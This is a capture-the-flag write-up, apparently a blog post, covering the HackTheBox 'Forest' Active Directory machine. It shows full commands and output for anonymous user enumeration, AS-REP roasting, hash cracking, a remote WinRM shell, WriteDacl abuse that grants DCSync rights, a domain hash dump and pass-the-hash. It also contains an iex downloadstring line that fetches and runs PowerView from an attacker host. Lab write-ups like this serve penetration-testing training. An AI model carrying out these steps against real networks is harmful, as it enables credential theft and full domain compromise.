HackTheBox — Forest Writeup
Machine Information
- Name: Forest
- Difficulty: Easy
- OS: Windows Server 2016
- IP Address: 10.129.3.135
Enumeration Phase
Step 1: Port Scanning with Nmap
We begin with a comprehensive Nmap scan to identify open ports and running services:
sudo nmap -sCV 10.129.3.135
# output
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-04 16:39:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)Critical Observations:
- Domain Controller: This is a DC for
htb.local - Kerberos (88): Opens up Kerberoasting and AS-REP Roasting attacks
- LDAP (389): Can query Active Directory information
- WinRM (5985): Remote shell access if we obtain credentials
- Server Version: Windows Server 2016 Standard 14393 (Build 1607)
Step 2: SMB and RPC Enumeration with enum4linux-ng
Since we see SMB and RPC services, let’s enumerate further:
enum4linux-ng 10.129.3.135 -A
# Important findings
# Domain Information
[+] Long domain name is: htb.local
NetBIOS computer name: FOREST
NetBIOS domain name: HTB
DNS domain: htb.local
FQDN: FOREST.htb.local
# Password Policy
Domain password information:
Password history length: 24
Minimum password length: 7
Minimum password age: 1 day 4 minutes
Maximum password age: not set
Password properties:
- DOMAIN_PASSWORD_COMPLEX: false
Domain lockout information:
Lockout observation window: 30 minutes
Lockout duration: 30 minutes
Lockout threshold: None
# RPC Access
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''Critical: Anonymous RPC access is enabled! This allows unauthenticated user enumeration.
Key Takeaways:
- ✅ No password complexity requirements — weak passwords possible
- ✅ No account lockout policy — can spray passwords freely
- ❌ Minimum password length is 7 characters
User Enumeration
The tool successfully enumerated 31 users via anonymous RPC:
'1145':
username: sebastien
name: Sebastien Caron
'1146':
username: lucinda
name: Lucinda Berger
'1147':
username: svc-alfresco ← Service account (high-value target!)
name: svc-alfresco
acb: '0x00010210'
'1150':
username: andy
name: Andy Hislip
'1151':
username: mark
name: Mark Brandt
'1152':
username: santi
name: Santi Rodriguez
'500':
username: Administrator
name: AdministratorWhy is svc-alfresco interesting?
It’s a service account (indicated by the svc- prefix)
Service accounts often have:
- Weak or default passwords
- Password never expires
- Kerberos pre-authentication disabled (for compatibility)
- Higher privileges than normal user accounts
Step 3: Creating a Username List
Based on the enumeration, we create a file with potential usernames:
cat > users.txt << EOF
Administrator
sebastien
lucinda
svc-alfresco
andy
mark
santi
EOFInitial Access — AS-REP Roasting Attack
AS-REP Roasting is a technique that exploits accounts that have the “Do not require Kerberos preauthentication” attribute set.
How Kerberos Authentication Normally Works:
- Client sends AS-REQ (Authentication Service Request) to KDC with encrypted timestamp
- KDC verifies the encrypted timestamp (pre-authentication)
- KDC responds with AS-REP containing TGT (Ticket Granting Ticket)
When Pre-authentication is Disabled:
- Client sends AS-REQ WITHOUT encrypted timestamp
- KDC responds with AS-REP encrypted with user’s password hash
- Attacker can request AS-REP for any user and crack offline
Why does this vulnerability exist?
- Legacy applications/services that don’t support Kerberos pre-authentication
- Misconfigured service accounts
- Compatibility with older systems
Step 4: Performing AS-REP Roasting
Using Impacket’s GetNPUsers.py tool:
impacket-GetNPUsers htb.local/ -dc-ip 10.129.3.135 -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
# Output
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$svc-alfresco@HTB.LOCAL:eb0...00d
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH setSuccess! We obtained an AS-REP hash for svc-alfresco!
Get Piar’s stories in your inbox
Join Medium for free to get updates from this writer.
Understanding the Hash:
$krb5asrep$23$svc-alfresco@HTB.LOCAL:[hash_data]krb5asrep: Kerberos AS-REP hash type23: Encryption type (RC4-HMAC)svc-alfresco@HTB.LOCAL: Username and domain- Remaining data: Encrypted portion that can be cracked
Step 5: Cracking the Hash with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
# Output
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23)
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s....e ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:03 DONE (2025-12-04 11:51) 0.2906g/s 1187Kp/s 1187Kc/s 1187KC/s
Session completed.Gaining Initial Access
Step 6: Connecting with Evil-WinRM
With valid credentials and WinRM (port 5985) open, we can get a remote PowerShell session:
evil-winrm -i 10.129.3.135 -u svc-alfresco -p s...e
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco>Step 7: Basic Enumeration & Flag retrieval
*Evil-WinRM* PS C:\Users\svc-alfresco> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco> hostname
FOREST
*Evil-WinRM* PS C:\Users\svc-alfresco> ls
Directory: C:\Users\svc-alfresco
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 9/23/2019 2:16 PM Desktop
d-r--- 9/22/2019 4:02 PM Documents
d-r--- 7/16/2016 6:18 AM Downloads
d-r--- 7/16/2016 6:18 AM Favorites
d-r--- 7/16/2016 6:18 AM Links
d-r--- 7/16/2016 6:18 AM Music
d-r--- 7/16/2016 6:18 AM Pictures
d----- 7/16/2016 6:18 AM Saved Games
d-r--- 7/16/2016 6:18 AM Videos
*Evil-WinRM* PS C:\Users\svc-alfresco> cd Desktop
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> ls
Directory: C:\Users\svc-alfresco\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/4/2025 8:38 AM 34 user.txt
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt
be3...bc3Privilege Escalation
Enumeration Phase
First, we check what groups our compromised account belongs to:
Step 1: Identify Current User Privileges
whoami /groupsKey Findings:
BUILTIN\\Account Operators- This is critical!BUILTIN\\Remote Management UsersHTB\\Service AccountsHTB\\Privileged IT Accounts
The Account Operators group is significant because it allows us to:
- Create new user accounts
- Modify non-protected user accounts
- Add users to most groups (except protected groups like Domain Admins)
Step 2: Load PowerView for AD Enumeration
PowerView is essential for Active Directory enumeration. We load it directly into memory:
iex(new-object net.webclient).downloadstring('http://10.10.14.137:8080/PowerView.ps1')Note: Ensure you have a Python HTTP server running on your attack machine:
python3 -m http.server 8080
Step 3: Enumerate Exchange Groups
Exchange Server installations often create powerful groups with dangerous permissions:
# Find all Exchange-related groups
Get-DomainGroup | Where-Object {$_.name -like "*Exchange*"} | Select-Object name,samaccountname
# output
name samaccountname
---- --------------
Exchange Servers Exchange Servers
Exchange Trusted Subsystem Exchange Trusted Subsystem
Exchange Windows Permissions Exchange Windows Permissions
ExchangeLegacyInterop ExchangeLegacyInterop
Exchange Install Domain Servers $D31000-NSEL5BRJ63V7Step 4: Check Exchange Windows Permissions Group Members
Get-DomainGroupMember "Exchange Windows Permissions" | Select-Object MemberName
# output
MemberName
----------
Exchange Trusted SubsystemStep 5: Analyze Permissions on the Domain Object
This is the crucial step — we check what permissions the “Exchange Windows Permissions” group has on the domain:
$sid = (Get-DomainGroup "Exchange Windows Permissions").objectsid
Get-DomainObjectAcl -Identity "DC=htb,DC=local" -ResolveGUIDs | ? {$_.SecurityIdentifier -eq $sid} | Select-Object ActiveDirectoryRights,ObjectDN
# key findings
ActiveDirectoryRights ObjectDN
--------------------- --------
DeleteTree, WriteDacl DC=htb,DC=localCritical Discovery: The “Exchange Windows Permissions” group has WriteDacl permissions on the domain root object!
What is WriteDacl?
- WriteDacl allows modifying the Discretionary Access Control List (DACL)
- This means we can grant ourselves ANY permission on the domain
- We can grant DCSync rights to perform a DCSync attack
Exploitation Phase
Attack Path Summary
[Account Operators Group]
↓
[Create User & Add to Exchange Windows Permissions]
↓
[Use WriteDacl to Grant DCSync Rights]
↓
[Perform DCSync Attack]
↓
[Dump Administrator Hash]
↓
[Pass-the-Hash Attack]Step 1: Create a New User Account
Using our Account Operators privileges, we create a new user:
net user hacker2 Password123! /add /domain
# output
The command completed successfully.Step 2: Add User to Exchange Windows Permissions Group
net group "Exchange Windows Permissions" hacker2 /add /domain
The command completed successfully.Step 3: Verify User Creation
net user hacker2 /domain
# Confirm:
Global Group memberships *Exchange Windows Perm*Domain UsersStep 4: Grant DCSync Rights
Now comes the critical step. We need to use the WriteDacl permission to grant our user DCSync rights.
Important: We must authenticate as hacker2 (who is in the Exchange Windows Permissions group) to use the WriteDacl permission.
First, create a credential object:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\\hacker2', $SecPassword)Then grant DCSync rights using those credentials:
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity hacker2 -Rights DCSync -Verbose
# Output (verbose mode shows the operation)
Verbose: [Add-DomainObjectAcl] Granting principal CN=hacker2,CN=Users,DC=htb,DC=local 'DCSync' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=hacker2,CN=Users,DC=htb,DC=local rights GUID '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=hacker2,CN=Users,DC=htb,DC=local rights GUID '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=hacker2,CN=Users,DC=htb,DC=local rights GUID '89e95b76-444d-4c62-991a-0facbeda640c' on DC=htb,DC=localWhat just happened?
We granted three extended rights that together enable DCSync:
- DS-Replication-Get-Changes (
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) - DS-Replication-Get-Changes-All (
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) - DS-Replication-Get-Changes-In-Filtered-Set (
89e95b76-444d-4c62-991a-0facbeda640c)
These rights allow our user to replicate directory changes, which is exactly what domain controllers do during replication — including password hashes!
DCSync Attack
What is DCSync?
DCSync is a technique that simulates the behavior of a Domain Controller and requests password data from another Domain Controller. This allows an attacker to retrieve password hashes for any user in the domain without executing code on the Domain Controller.
Step 5: Execute DCSync with Secretsdump
From your Kali attack machine, use Impacket’s secretsdump.py:
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py htb.local/hacker2:'Password123!'@10.129.3.135
# Output
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\\Administrator:500:aad3b435b51404eeaad3b435b51404ee:326...ea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d...9c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819...2f8:::
htb.local\\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:924...668:::
[... additional users ...]Success! We’ve dumped all domain password hashes, including the Administrator hash.
Administrator Hash: 3269...ea6
Gaining Administrator Access
Step 6: Pass-the-Hash Attack
With the Administrator NTLM hash, we can authenticate without knowing the actual password:
evil-winrm -i 10.129.3.135 -u Administrator -H 326...ea6Step 7: Retrieve the Root Flag
*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> cat root.txt
d67...e68Happy hacking!
This write-up is for educational purposes only. Always hack in legal and authorized environments.







